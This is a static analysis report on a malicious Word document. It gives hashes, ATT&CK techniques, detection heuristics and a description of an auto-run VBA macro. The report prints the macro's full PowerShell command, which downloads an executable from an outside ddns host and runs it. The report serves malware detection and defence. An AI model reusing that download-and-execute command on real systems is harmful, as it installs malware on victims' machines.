Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 e0a6422862278761…

MALICIOUS

Office (OLE) / .DOC

56.0 KB Created: 2021-10-28 06:54:00 Authoring application: Microsoft Office Word
MD5: cd847a8bcbd819705ed57355fcfd269c SHA-1: cb55c01537fc8beea31d5f1728498e0f74f5a865 SHA-256: e0a642286227876154d27e399aab958ab958f2f2e528c4f4593e9d80c64a87c6
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document. This macro constructs a batch file named 'god.bat' in the public documents directory. The batch file contains a PowerShell command that downloads an executable from 'http://pinace.ddns.net/w/ConsoleApp11.exe' and saves it as 'gasmonth.exe' in the public documents directory, before executing it. The VBA script explicitly reconstructs the command line as 'powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://pinace.ddns.net/w/ConsoleApp11.exe -Dest C:\Users\Public\Documents\gasmonth.exe;C:\Users\Public\Documents\gasmonth.exe'.

Heuristics 5

  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
9e1aa0f2a941badbfd0390006c1ae75edf65b06461d9e22267af12bc2bd60ea6
vba-macro oletools.olevba.extract_macros (decoded VBA source) 1031 bytes